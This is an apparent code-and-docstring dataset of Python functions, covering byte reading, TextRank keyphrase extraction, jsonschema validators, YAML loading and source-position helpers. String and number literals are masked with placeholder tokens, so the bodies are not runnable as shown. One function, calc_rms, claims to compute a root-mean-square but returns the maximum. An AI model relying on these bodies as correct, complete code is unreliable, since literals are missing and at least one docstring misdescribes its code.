Returns\n            Dictionary containing apk data and optional expansion files\n            (see *delivery*)", "id": "f2960:c3:m22"}
{"signature": "def readInt(byteArray, start):", "body": "return struct.unpack(\"<STR_LIT>\", byteArray[start:][<NUM_LIT:0>:<NUM_LIT:4>])[<NUM_LIT:0>]<EOL>", "docstring": "Read the byte array, starting from *start* position,\n    as an 32-bit unsigned integer", "id": "f2961:m1"}
{"signature": "def toBigInt(byteArray):", "body": "array = byteArray[::-<NUM_LIT:1>]  <EOL>out = <NUM_LIT:0><EOL>for key, value in enumerate(array):<EOL><INDENT>decoded = struct.unpack(\"<STR_LIT:B>\", bytes([value]))[<NUM_LIT:0>]<EOL>out = out | decoded << key * <NUM_LIT:8><EOL><DEDENT>return out<EOL>", "docstring": "Convert the byte array to a BigInteger", "id": "f2961:m2"}
{"signature": "def split_grafs (lines):", "body": "graf = []<EOL>for line in lines:<EOL><INDENT>line = line.strip()<EOL>if len(line) < <NUM_LIT:1>:<EOL><INDENT>if len(graf) > <NUM_LIT:0>:<EOL><INDENT>yield \"<STR_LIT:\\n>\".join(graf)<EOL>graf = []<EOL><DEDENT><DEDENT>else:<EOL><INDENT>graf.append(line)<EOL><DEDENT><DEDENT>if len(graf) > <NUM_LIT:0>:<EOL><INDENT>yield \"<STR_LIT:\\n>\".join(graf)<EOL><DEDENT>", "docstring": "segment the raw text into paragraphs", "id": "f2966:m0"}
{"signature": "def filter_quotes (text, is_email=True):", "body": "global DEBUG<EOL>global PAT_FORWARD, PAT_REPLIED, PAT_UNSUBSC<EOL>if is_email:<EOL><INDENT>text = filter(lambda x: x in string.printable, text)<EOL>if DEBUG:<EOL><INDENT>print(\"<STR_LIT>\", text)<EOL><DEDENT>m = PAT_FORWARD.split(text, re.M)<EOL>if m and len(m) > <NUM_LIT:1>:<EOL><INDENT>text = m[<NUM_LIT:0>]<EOL><DEDENT>m = PAT_REPLIED.split(text, re.M)<EOL>if m and len(m) > <NUM_LIT:1>:<EOL><INDENT>text = m[<NUM_LIT:0>]<EOL><DEDENT>m = PAT_UNSUBSC.split(text, re.M)<EOL>if m:<EOL><INDENT>text = m[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>lines = []<EOL>for line in text.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if line.startswith(\"<STR_LIT:>>\"):<EOL><INDENT>lines.append(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>lines.append(line)<EOL><DEDENT><DEDENT>return list(split_grafs(lines))<EOL>", "docstring": "filter the quoted text out of a message", "id": "f2966:m1"}
{"signature": "def get_word_id (root):", "body": "global UNIQ_WORDS<EOL>if root not in UNIQ_WORDS:<EOL><INDENT>UNIQ_WORDS[root] = len(UNIQ_WORDS)<EOL><DEDENT>return UNIQ_WORDS[root]<EOL>", "docstring": "lookup/assign a unique identify for each word root", "id": "f2966:m3"}
{"signature": "def fix_microsoft (foo):", "body": "i = <NUM_LIT:0><EOL>bar = []<EOL>while i < len(foo):<EOL><INDENT>text, lemma, pos, tag = foo[i]<EOL>if (text == \"<STR_LIT:#>\") and (i > <NUM_LIT:0>):<EOL><INDENT>prev_tok = bar[-<NUM_LIT:1>]<EOL>prev_tok[<NUM_LIT:0>] += \"<STR_LIT:#>\"<EOL>prev_tok[<NUM_LIT:1>] += \"<STR_LIT:#>\"<EOL>bar[-<NUM_LIT:1>] = prev_tok<EOL><DEDENT>else:<EOL><INDENT>bar.append(foo[i])<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>return bar<EOL>", "docstring": "fix special case for `c#`, `f#`, etc.; thanks Microsoft", "id": "f2966:m4"}
{"signature": "def fix_hypenation (foo):", "body": "i = <NUM_LIT:0><EOL>bar = []<EOL>while i < len(foo):<EOL><INDENT>text, lemma, pos, tag = foo[i]<EOL>if (tag == \"<STR_LIT>\") and (i > <NUM_LIT:0>) and (i < len(foo) - <NUM_LIT:1>):<EOL><INDENT>prev_tok = bar[-<NUM_LIT:1>]<EOL>next_tok = foo[i + <NUM_LIT:1>]<EOL>prev_tok[<NUM_LIT:0>] += \"<STR_LIT:->\" + next_tok[<NUM_LIT:0>]<EOL>prev_tok[<NUM_LIT:1>] += \"<STR_LIT:->\" + next_tok[<NUM_LIT:1>]<EOL>bar[-<NUM_LIT:1>] = prev_tok<EOL>i += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>bar.append(foo[i])<EOL>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>return bar<EOL>", "docstring": "fix hyphenation in the word list for a parsed sentence", "id": "f2966:m5"}
{"signature": "def parse_graf (doc_id, graf_text, base_idx, spacy_nlp=None):", "body": "global DEBUG<EOL>global POS_KEEPS, POS_LEMMA, SPACY_NLP<EOL>if not spacy_nlp:<EOL><INDENT>if not SPACY_NLP:<EOL><INDENT>SPACY_NLP = spacy.load(\"<STR_LIT>\")<EOL><DEDENT>spacy_nlp = SPACY_NLP<EOL><DEDENT>markup = []<EOL>new_base_idx = base_idx<EOL>doc = spacy_nlp(graf_text, parse=True)<EOL>for span in doc.sents:<EOL><INDENT>graf = []<EOL>digest = hashlib.sha1()<EOL>if DEBUG:<EOL><INDENT>print(span)<EOL><DEDENT>word_list = []<EOL>for tag_idx in range(span.start, span.end):<EOL><INDENT>token = doc[tag_idx]<EOL>if DEBUG:<EOL><INDENT>print(\"<STR_LIT>\", tag_idx, token.text, token.tag_, token.pos_)<EOL>print(\"<STR_LIT>\", is_not_word(token.text))<EOL><DEDENT>word_list.append([token.text, token.lemma_, token.pos_, token.tag_])<EOL><DEDENT>corrected_words = fix_microsoft(fix_hypenation(word_list))<EOL>for tok_text, tok_lemma, tok_pos, tok_tag in corrected_words:<EOL><INDENT>word = WordNode(word_id=<NUM_LIT:0>, raw=tok_text, root=tok_text.lower(), pos=tok_tag, keep=<NUM_LIT:0>, idx=new_base_idx)<EOL>if is_not_word(tok_text) or (tok_tag == \"<STR_LIT>\"):<EOL><INDENT>pos_family = '<STR_LIT:.>'<EOL>word = word._replace(pos=pos_family)<EOL><DEDENT>else:<EOL><INDENT>pos_family = tok_tag.lower()[<NUM_LIT:0>]<EOL><DEDENT>if pos_family in POS_LEMMA:<EOL><INDENT>word = word._replace(root=tok_lemma)<EOL><DEDENT>if pos_family in POS_KEEPS:<EOL><INDENT>word = word._replace(word_id=get_word_id(word.root), keep=<NUM_LIT:1>)<EOL><DEDENT>digest.update(word.root.encode('<STR_LIT:utf-8>'))<EOL>if DEBUG:<EOL><INDENT>print(word)<EOL><DEDENT>graf.append(list(word))<EOL>new_base_idx += <NUM_LIT:1><EOL><DEDENT>markup.append(ParsedGraf(id=doc_id, sha1=digest.hexdigest(), graf=graf))<EOL><DEDENT>return markup, new_base_idx<EOL>", "docstring": "CORE ALGORITHM: parse and markup sentences in the given paragraph", "id": "f2966:m6"}
{"signature": "def parse_doc (json_iter):", "body": "global DEBUG<EOL>for meta in json_iter:<EOL><INDENT>base_idx = <NUM_LIT:0><EOL>for graf_text in filter_quotes(meta[\"<STR_LIT:text>\"], is_email=False):<EOL><INDENT>if DEBUG:<EOL><INDENT>print(\"<STR_LIT>\", graf_text)<EOL><DEDENT>grafs, new_base_idx = parse_graf(meta[\"<STR_LIT:id>\"], graf_text, base_idx)<EOL>base_idx = new_base_idx<EOL>for graf in grafs:<EOL><INDENT>yield graf<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "parse one document to prep for TextRank", "id": "f2966:m7"}
{"signature": "def get_tiles (graf, size=<NUM_LIT:3>):", "body": "keeps = list(filter(lambda w: w.word_id > <NUM_LIT:0>, graf))<EOL>keeps_len = len(keeps)<EOL>for i in iter(range(<NUM_LIT:0>, keeps_len - <NUM_LIT:1>)):<EOL><INDENT>w0 = keeps[i]<EOL>for j in iter(range(i + <NUM_LIT:1>, min(keeps_len, i + <NUM_LIT:1> + size))):<EOL><INDENT>w1 = keeps[j]<EOL>if (w1.idx - w0.idx) <= size:<EOL><INDENT>yield (w0.root, w1.root,)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "generate word pairs for the TextRank graph", "id": "f2966:m8"}
{"signature": "def build_graph (json_iter):", "body": "global DEBUG, WordNode<EOL>graph = nx.DiGraph()<EOL>for meta in json_iter:<EOL><INDENT>if DEBUG:<EOL><INDENT>print(meta[\"<STR_LIT>\"])<EOL><DEDENT>for pair in get_tiles(map(WordNode._make, meta[\"<STR_LIT>\"])):<EOL><INDENT>if DEBUG:<EOL><INDENT>print(pair)<EOL><DEDENT>for word_id in pair:<EOL><INDENT>if not graph.has_node(word_id):<EOL><INDENT>graph.add_node(word_id)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>graph.edge[pair[<NUM_LIT:0>]][pair[<NUM_LIT:1>]][\"<STR_LIT>\"] += <NUM_LIT:1.0><EOL><DEDENT>except KeyError:<EOL><INDENT>graph.add_edge(pair[<NUM_LIT:0>], pair[<NUM_LIT:1>], weight=<NUM_LIT:1.0>)<EOL><DEDENT><DEDENT><DEDENT>return graph<EOL>", "docstring": "construct the TextRank graph from parsed paragraphs", "id": "f2966:m9"}
{"signature": "def write_dot (graph, ranks, path=\"<STR_LIT>\"):", "body": "dot = Digraph()<EOL>for node in graph.nodes():<EOL><INDENT>dot.node(node, \"<STR_LIT>\" % (node, ranks[node]))<EOL><DEDENT>for edge in graph.edges():<EOL><INDENT>dot.edge(edge[<NUM_LIT:0>], edge[<NUM_LIT:1>], constraint=\"<STR_LIT:false>\")<EOL><DEDENT>with open(path, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(dot.source)<EOL><DEDENT>", "docstring": "output the graph in Dot file format", "id": "f2966:m10"}
{"signature": "def render_ranks (graph, ranks, dot_file=\"<STR_LIT>\"):", "body": "if dot_file:<EOL><INDENT>write_dot(graph, ranks, path=dot_file)<EOL><DEDENT>", "docstring": "render the TextRank graph for visual formats", "id": "f2966:m11"}
{"signature": "def text_rank (path):", "body": "graph = build_graph(json_iter(path))<EOL>ranks = nx.pagerank(graph)<EOL>return graph, ranks<EOL>", "docstring": "run the TextRank algorithm", "id": "f2966:m12"}
{"signature": "def find_chunk (phrase, np):", "body": "for i in iter(range(<NUM_LIT:0>, len(phrase))):<EOL><INDENT>parsed_np = find_chunk_sub(phrase, np, i)<EOL>if parsed_np:<EOL><INDENT>return parsed_np<EOL><DEDENT><DEDENT>", "docstring": "leverage noun phrase chunking", "id": "f2966:m15"}
{"signature": "def enumerate_chunks (phrase, spacy_nlp):", "body": "if (len(phrase) > <NUM_LIT:1>):<EOL><INDENT>found = False<EOL>text = \"<STR_LIT:U+0020>\".join([rl.text for rl in phrase])<EOL>doc = spacy_nlp(text.strip(), parse=True)<EOL>for np in doc.noun_chunks:<EOL><INDENT>if np.text != text:<EOL><INDENT>found = True<EOL>yield np.text, find_chunk(phrase, np.text.split(\"<STR_LIT:U+0020>\"))<EOL><DEDENT><DEDENT>if not found and all([rl.pos[<NUM_LIT:0>] != \"<STR_LIT:v>\" for rl in phrase]):<EOL><INDENT>yield text, phrase<EOL><DEDENT><DEDENT>", "docstring": "iterate through the noun phrases", "id": "f2966:m16"}
{"signature": "def collect_keyword (sent, ranks, stopwords):", "body": "for w in sent:<EOL><INDENT>if (w.word_id > <NUM_LIT:0>) and (w.root in ranks) and (w.pos[<NUM_LIT:0>] in \"<STR_LIT>\") and (w.root not in stopwords):<EOL><INDENT>rl = RankedLexeme(text=w.raw.lower(), rank=ranks[w.root]/<NUM_LIT>, ids=[w.word_id], pos=w.pos.lower(), count=<NUM_LIT:1>)<EOL>if DEBUG:<EOL><INDENT>print(rl)<EOL><DEDENT>yield rl<EOL><DEDENT><DEDENT>", "docstring": "iterator for collecting the single-word keyphrases", "id": "f2966:m17"}
{"signature": "def collect_entities (sent, ranks, stopwords, spacy_nlp):", "body": "global DEBUG<EOL>sent_text = \"<STR_LIT:U+0020>\".join([w.raw for w in sent])<EOL>if DEBUG:<EOL><INDENT>print(\"<STR_LIT>\", sent_text)<EOL><DEDENT>for ent in spacy_nlp(sent_text).ents:<EOL><INDENT>if DEBUG:<EOL><INDENT>print(\"<STR_LIT>\", ent.label_, ent.text)<EOL><DEDENT>if (ent.label_ not in [\"<STR_LIT>\"]) and (ent.text.lower() not in stopwords):<EOL><INDENT>w_ranks, w_ids = find_entity(sent, ranks, ent.text.split(\"<STR_LIT:U+0020>\"), <NUM_LIT:0>)<EOL>if w_ranks and w_ids:<EOL><INDENT>rl = RankedLexeme(text=ent.text.lower(), rank=w_ranks, ids=w_ids, pos=\"<STR_LIT>\", count=<NUM_LIT:1>)<EOL>if DEBUG:<EOL><INDENT>print(rl)<EOL><DEDENT>yield rl<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "iterator for collecting the named-entities", "id": "f2966:m19"}
{"signature": "def collect_phrases (sent, ranks, spacy_nlp):", "body": "tail = <NUM_LIT:0><EOL>last_idx = sent[<NUM_LIT:0>].idx - <NUM_LIT:1><EOL>phrase = []<EOL>while tail < len(sent):<EOL><INDENT>w = sent[tail]<EOL>if (w.word_id > <NUM_LIT:0>) and (w.root in ranks) and ((w.idx - last_idx) == <NUM_LIT:1>):<EOL><INDENT>rl = RankedLexeme(text=w.raw.lower(), rank=ranks[w.root], ids=w.word_id, pos=w.pos.lower(), count=<NUM_LIT:1>)<EOL>phrase.append(rl)<EOL><DEDENT>else:<EOL><INDENT>for text, p in enumerate_chunks(phrase, spacy_nlp):<EOL><INDENT>if p:<EOL><INDENT>id_list = [rl.ids for rl in p]<EOL>rank_list = [rl.rank for rl in p]<EOL>np_rl = RankedLexeme(text=text, rank=rank_list, ids=id_list, pos=\"<STR_LIT>\", count=<NUM_LIT:1>)<EOL>if DEBUG:<EOL><INDENT>print(np_rl)<EOL><DEDENT>yield np_rl<EOL><DEDENT><DEDENT>phrase = []<EOL><DEDENT>last_idx = w.idx<EOL>tail += <NUM_LIT:1><EOL><DEDENT>", "docstring": "iterator for collecting the noun phrases", "id": "f2966:m20"}
{"signature": "def calc_rms (values):", "body": "<EOL>return max(values)<EOL>", "docstring": "calculate a root-mean-squared metric for a list of float values", "id": "f2966:m21"}
{"signature": "def normalize_key_phrases (path, ranks, stopwords=None, spacy_nlp=None, skip_ner=True):", "body": "global STOPWORDS, SPACY_NLP<EOL>if (type(stopwords) is list) or (type(stopwords) is set):<EOL><INDENT>stopwords = set(stopwords)<EOL><DEDENT>else:<EOL><INDENT>if not STOPWORDS:<EOL><INDENT>STOPWORDS = load_stopwords(stopwords)<EOL><DEDENT>stopwords = STOPWORDS<EOL><DEDENT>if not spacy_nlp:<EOL><INDENT>if not SPACY_NLP:<EOL><INDENT>SPACY_NLP = spacy.load(\"<STR_LIT>\")<EOL><DEDENT>spacy_nlp = SPACY_NLP<EOL><DEDENT>single_lex = {}<EOL>phrase_lex = {}<EOL>if isinstance(path, str):<EOL><INDENT>path = json_iter(path)<EOL><DEDENT>for meta in path:<EOL><INDENT>sent = [w for w in map(WordNode._make, meta[\"<STR_LIT>\"])]<EOL>for rl in collect_keyword(sent, ranks, stopwords):<EOL><INDENT>id = str(rl.ids)<EOL>if id not in single_lex:<EOL><INDENT>single_lex[id] = rl<EOL><DEDENT>else:<EOL><INDENT>prev_lex = single_lex[id]<EOL>single_lex[id] = rl._replace(count = prev_lex.count + <NUM_LIT:1>)<EOL><DEDENT><DEDENT>if not skip_ner:<EOL><INDENT>for rl in collect_entities(sent, ranks, stopwords, spacy_nlp):<EOL><INDENT>id = str(rl.ids)<EOL>if id not in phrase_lex:<EOL><INDENT>phrase_lex[id] = rl<EOL><DEDENT>else:<EOL><INDENT>prev_lex = phrase_lex[id]<EOL>phrase_lex[id] = rl._replace(count = prev_lex.count + <NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>for rl in collect_phrases(sent, ranks, spacy_nlp):<EOL><INDENT>id = str(rl.ids)<EOL>if id not in phrase_lex:<EOL><INDENT>phrase_lex[id] = rl<EOL><DEDENT>else:<EOL><INDENT>prev_lex = phrase_lex[id]<EOL>phrase_lex[id] = rl._replace(count = prev_lex.count + <NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>rank_list = [rl.rank for rl in single_lex.values()]<EOL>if len(rank_list) < <NUM_LIT:1>:<EOL><INDENT>max_single_rank = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>max_single_rank = max(rank_list)<EOL><DEDENT>repeated_roots = {}<EOL>for rl in sorted(phrase_lex.values(), key=lambda rl: len(rl), reverse=True):<EOL><INDENT>rank_list = []<EOL>for i in iter(range(<NUM_LIT:0>, len(rl.ids))):<EOL><INDENT>id = rl.ids[i]<EOL>if not id in repeated_roots:<EOL><INDENT>repeated_roots[id] = <NUM_LIT:1.0><EOL>rank_list.append(rl.rank[i])<EOL><DEDENT>else:<EOL><INDENT>repeated_roots[id] += <NUM_LIT:1.0><EOL>rank_list.append(rl.rank[i] / repeated_roots[id])<EOL><DEDENT><DEDENT>phrase_rank = calc_rms(rank_list)<EOL>single_lex[str(rl.ids)] = rl._replace(rank = phrase_rank)<EOL><DEDENT>sum_ranks = sum([rl.rank for rl in single_lex.values()])<EOL>for rl in sorted(single_lex.values(), key=lambda rl: rl.rank, reverse=True):<EOL><INDENT>if sum_ranks > <NUM_LIT:0.0>:<EOL><INDENT>rl = rl._replace(rank=rl.rank / sum_ranks)<EOL><DEDENT>elif rl.rank == <NUM_LIT:0.0>:<EOL><INDENT>rl = rl._replace(rank=<NUM_LIT:0.1>)<EOL><DEDENT>rl = rl._replace(text=re.sub(r\"<STR_LIT>\", r\"<STR_LIT>\", rl.text))<EOL>yield rl<EOL><DEDENT>", "docstring": "collect keyphrases, named entities, etc., while removing stop words", "id": "f2966:m22"}
{"signature": "def mh_digest (data):", "body": "num_perm = <NUM_LIT><EOL>m = MinHash(num_perm)<EOL>for d in data:<EOL><INDENT>m.update(d.encode('<STR_LIT:utf8>'))<EOL><DEDENT>return m<EOL>", "docstring": "create a MinHash digest", "id": "f2966:m23"}
{"signature": "def rank_kernel (path):", "body": "kernel = []<EOL>if isinstance(path, str):<EOL><INDENT>path = json_iter(path)<EOL><DEDENT>for meta in path:<EOL><INDENT>if not isinstance(meta, RankedLexeme):<EOL><INDENT>rl = RankedLexeme(**meta)<EOL><DEDENT>else:<EOL><INDENT>rl = meta<EOL><DEDENT>m = mh_digest(map(lambda x: str(x), rl.ids))<EOL>kernel.append((rl, m,))<EOL><DEDENT>return kernel<EOL>", "docstring": "return a list (matrix-ish) of the key phrases and their ranks", "id": "f2966:m24"}
{"signature": "def top_sentences (kernel, path):", "body": "key_sent = {}<EOL>i = <NUM_LIT:0><EOL>if isinstance(path, str):<EOL><INDENT>path = json_iter(path)<EOL><DEDENT>for meta in path:<EOL><INDENT>graf = meta[\"<STR_LIT>\"]<EOL>tagged_sent = [WordNode._make(x) for x in graf]<EOL>text = \"<STR_LIT:U+0020>\".join([w.raw for w in tagged_sent])<EOL>m_sent = mh_digest([str(w.word_id) for w in tagged_sent])<EOL>dist = sum([m_sent.jaccard(m) * rl.rank for rl, m in kernel])<EOL>key_sent[text] = (dist, i)<EOL>i += <NUM_LIT:1><EOL><DEDENT>for text, (dist, i) in sorted(key_sent.items(), key=lambda x: x[<NUM_LIT:1>][<NUM_LIT:0>], reverse=True):<EOL><INDENT>yield SummarySent(dist=dist, idx=i, text=text)<EOL><DEDENT>", "docstring": "determine distance for each sentence", "id": "f2966:m25"}
{"signature": "def limit_keyphrases (path, phrase_limit=<NUM_LIT:20>):", "body": "rank_thresh = None<EOL>if isinstance(path, str):<EOL><INDENT>lex = []<EOL>for meta in json_iter(path):<EOL><INDENT>rl = RankedLexeme(**meta)<EOL>lex.append(rl)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>lex = path<EOL><DEDENT>if len(lex) > <NUM_LIT:0>:<EOL><INDENT>rank_thresh = statistics.mean([rl.rank for rl in lex])<EOL><DEDENT>else:<EOL><INDENT>rank_thresh = <NUM_LIT:0><EOL><DEDENT>used = <NUM_LIT:0><EOL>for rl in lex:<EOL><INDENT>if rl.pos[<NUM_LIT:0>] != \"<STR_LIT:v>\":<EOL><INDENT>if (used > phrase_limit) or (rl.rank < rank_thresh):<EOL><INDENT>return<EOL><DEDENT>used += <NUM_LIT:1><EOL>yield rl.text.replace(\"<STR_LIT>\", \"<STR_LIT:->\")<EOL><DEDENT><DEDENT>", "docstring": "iterator for the most significant key phrases", "id": "f2966:m26"}
{"signature": "def limit_sentences (path, word_limit=<NUM_LIT:100>):", "body": "word_count = <NUM_LIT:0><EOL>if isinstance(path, str):<EOL><INDENT>path = json_iter(path)<EOL><DEDENT>for meta in path:<EOL><INDENT>if not isinstance(meta, SummarySent):<EOL><INDENT>p = SummarySent(**meta)<EOL><DEDENT>else:<EOL><INDENT>p = meta<EOL><DEDENT>sent_text = p.text.strip().split(\"<STR_LIT:U+0020>\")<EOL>sent_len = len(sent_text)<EOL>if (word_count + sent_len) > word_limit:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>word_count += sent_len<EOL>yield sent_text, p.idx<EOL><DEDENT><DEDENT>", "docstring": "iterator for the most significant sentences, up to a specified limit", "id": "f2966:m27"}
{"signature": "def make_sentence (sent_text):", "body": "lex = []<EOL>idx = <NUM_LIT:0><EOL>for word in sent_text:<EOL><INDENT>if len(word) > <NUM_LIT:0>:<EOL><INDENT>if (idx > <NUM_LIT:0>) and not (word[<NUM_LIT:0>] in \"<STR_LIT>\"):<EOL><INDENT>lex.append(\"<STR_LIT:U+0020>\")<EOL><DEDENT>lex.append(word)<EOL><DEDENT>idx += <NUM_LIT:1><EOL><DEDENT>return \"<STR_LIT>\".join(lex)<EOL>", "docstring": "construct a sentence text, with proper spacing", "id": "f2966:m28"}
{"signature": "def json_iter (path):", "body": "with open(path, '<STR_LIT:r>') as f:<EOL><INDENT>for line in f.readlines():<EOL><INDENT>yield json.loads(line)<EOL><DEDENT><DEDENT>", "docstring": "iterator for JSON-per-line in a file pattern", "id": "f2966:m29"}
{"signature": "def pretty_print (obj, indent=False):", "body": "if indent:<EOL><INDENT>return json.dumps(obj, sort_keys=True, indent=<NUM_LIT:2>, separators=('<STR_LIT:U+002C>', '<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>return json.dumps(obj, sort_keys=True)<EOL><DEDENT>", "docstring": "pretty print a JSON object", "id": "f2966:m30"}
{"signature": "def cleanup_text (text):", "body": "x = \"<STR_LIT:U+0020>\".join(map(lambda s: s.strip(), text.split(\"<STR_LIT:\\n>\"))).strip()<EOL>x = x.replace('<STR_LIT>', '<STR_LIT:\">').replace('<STR_LIT>', '<STR_LIT:\">')<EOL>x = x.replace(\"<STR_LIT>\", \"<STR_LIT:'>\").replace(\"<STR_LIT>\", \"<STR_LIT:'>\").replace(\"<STR_LIT>\", \"<STR_LIT:'>\")<EOL>x = x.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT:->')<EOL>x = str(unicodedata.normalize('<STR_LIT>', x).encode('<STR_LIT:ascii>', '<STR_LIT:ignore>').decode('<STR_LIT:ascii>'))<EOL>try:<EOL><INDENT>assert type(x).__name__ == '<STR_LIT:str>'<EOL><DEDENT>except AssertionError:<EOL><INDENT>print(\"<STR_LIT>\", type(line), line)<EOL><DEDENT>return x<EOL>", "docstring": "It scrubs the garbled from its stream...\nOr it gets the debugger again.", "id": "f2970:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_resolver(cls, spec_resolver):<DEDENT>", "body": "spec_validators = cls._get_spec_validators(spec_resolver)<EOL>return validators.extend(Draft4Validator, spec_validators)<EOL>", "docstring": "Creates a customized Draft4ExtendedValidator.\n\n        :param spec_resolver: resolver for the spec\n        :type resolver: :class:`jsonschema.RefResolver`", "id": "f2979:c0:m0"}
{"signature": "def create(self, spec_resolver):", "body": "validator_cls = self.spec_validator_factory.from_resolver(<EOL>spec_resolver)<EOL>return validator_cls(<EOL>self.schema, resolver=self.schema_resolver)<EOL>", "docstring": "Creates json documents validator from spec resolver.\n        :param spec_resolver: reference resolver.\n\n        :return: RefResolver for spec with cached remote $refs used during\n            validation.\n        :rtype: :class:`jsonschema.RefResolver`", "id": "f2979:c1:m2"}
{"signature": "@contextmanager<EOL><INDENT>def visit(self, key):<DEDENT>", "body": "self[key] = key<EOL>try:<EOL><INDENT>yield key<EOL><DEDENT>finally:<EOL><INDENT>del self[key]<EOL><DEDENT>", "docstring": "Visits key and marks as visited.\n        Support context manager interface.\n\n        :param key: key being visited.", "id": "f2981:c0:m0"}
{"signature": "def read_yaml_file(path, loader=ExtendedSafeLoader):", "body": "with open(path) as fh:<EOL><INDENT>return load(fh, loader)<EOL><DEDENT>", "docstring": "Open a file, read it and return its contents.", "id": "f2983:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_spec_resolver(cls, spec_resolver):<DEDENT>", "body": "deref = DerefValidatorDecorator(spec_resolver)<EOL>for key, validator_callable in iteritems(cls.validators):<EOL><INDENT>yield key, deref(validator_callable)<EOL><DEDENT>", "docstring": "Creates validators generator for the spec resolver.\n\n        :param spec_resolver: resolver for the spec\n        :type instance_resolver: :class:`jsonschema.RefResolver`", "id": "f2985:c0:m0"}
{"signature": "def construct_mapping(self, node, deep=False):", "body": "mapping = super(ExtendedSafeConstructor, self).construct_mapping(<EOL>node, deep)<EOL>return {<EOL>(str(key) if isinstance(key, int) else key): mapping[key]<EOL>for key in mapping<EOL>}<EOL>", "docstring": "While yaml supports integer keys, these are not valid in\n        json, and will break jsonschema. This method coerces all keys\n        to strings.", "id": "f2986:c0:m0"}
{"signature": "def read_file(filename):", "body": "path = os.path.join(os.path.dirname(__file__), filename)<EOL>with open(path) as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Open and a file, read it and return its contents.", "id": "f2990:m0"}
{"signature": "def get_metadata(init_file):", "body": "return dict(re.findall(\"<STR_LIT>\", init_file))<EOL>", "docstring": "Read metadata from a given file and return a dictionary of them", "id": "f2990:m1"}
{"signature": "def position_to_path(tree, position):", "body": "return PositionFinder().find(tree, position)<EOL>", "docstring": "Path to the node located at the given line and column\n\n    This function locates a node in the rendered source code", "id": "f3011:m0"}
{"signature": "def path_to_node(tree, path):", "body": "if path is None:<EOL><INDENT>return None<EOL><DEDENT>node = tree<EOL>for key in path:<EOL><INDENT>node = child_by_key(node, key)<EOL><DEDENT>return node<EOL>", "docstring": "FST node located at the given path", "id": "f3011:m1"}
{"signature": "def position_to_node(tree, position):", "body": "return path_to_node(tree, position_to_path(tree, position))<EOL>", "docstring": "FST node located at the given line and column", "id": "f3011:m2"}
{"signature": "def node_to_bounding_box(node):", "body": "return BoundingBoxFinder().compute(node)<EOL>", "docstring": "Bounding box of the given node\n\n    The bounding box of a node represents its left most and right most\n    position in the rendered source code. Its left position is here\n    always (1, 1).", "id": "f3011:m3"}
{"signature": "def path_to_bounding_box(tree, path):", "body": "return BoundingBoxFinder().compute(tree, path)<EOL>", "docstring": "Absolute bounding box of the node located at the given path", "id": "f3011:m4"}
{"signature": "def advance_columns(self, columns):", "body": "self.column += columns<EOL>", "docstring": "(3, 10) -> (3, 11)", "id": "f3011:c0:m1"}
{"signature": "def advance_line(self):", "body": "self.line += <NUM_LIT:1><EOL>self.column = <NUM_LIT:1><EOL>", "docstring": "(3, 10) -> (4, 1)", "id": "f3011:c0:m2"}
{"signature": "@property<EOL><INDENT>def left(self):<DEDENT>", "body": "return Position((self.line, self.column - <NUM_LIT:1>))<EOL>", "docstring": "(3, 10) -> (3, 9)", "id": "f3011:c0:m3"}
{"signature": "@property<EOL><INDENT>def right(self):<DEDENT>", "body": "return Position((self.line, self.column + <NUM_LIT:1>))<EOL>", "docstring": "(3, 10) -> (3, 11)", "id": "f3011:c0:m4"}
{"signature": "def __add__(self, other):", "body": "other = Position(other)<EOL>return Position((self.line + other.line,<EOL>self.column + other.column))<EOL>", "docstring": "(1, 1) + (1, 1) -> (2, 2)", "id": "f3011:c0:m5"}
{"signature": "def __neg__(self):", "body": "return Position((-self.line, -self.column))<EOL>", "docstring": "(1, -1) -> (-1, 1)", "id": "f3011:c0:m6"}
{"signature": "def __sub__(self, other):", "body": "other = Position(other)<EOL>return Position((self.line - other.line,<EOL>self.column - other.column))<EOL>", "docstring": "(1, 1) - (1, 1) -> (0, 0)", "id": "f3011:c0:m7"}
{"signature": "def __eq__(self, other):", "body": "if not (hasattr(other, '<STR_LIT>') and hasattr(other, '<STR_LIT>')) and len(other) < <NUM_LIT:2>:<EOL><INDENT>return False<EOL><DEDENT>other = Position(other)<EOL>return self.line == other.line and self.column == other.column<EOL>", "docstring": "Compares Positions or Position and tuple\n\n        Will not fail if other is an unsupported type", "id": "f3011:c0:m10"}
{"signature": "def __lt__(self, other):", "body": "other = Position(other)<EOL>return (self.line, self.column) < (other.line, other.column)<EOL>", "docstring": "Compares Position with Position or indexable object", "id": "f3011:c0:m11"}
{"signature": "def __eq__(self, other):", "body": "if not (hasattr(other, '<STR_LIT>') and hasattr(other, '<STR_LIT>')) and len(other) < <NUM_LIT:2>:<EOL><INDENT>return False<EOL><DEDENT>other = BoundingBox(other)<EOL>return self.top_left == other.top_left and self.bottom_right == other.bottom_right<EOL>", "docstring": "Compares BoundingBox with BoundingBox or indexable object", "id": "f3011:c1:m1"}
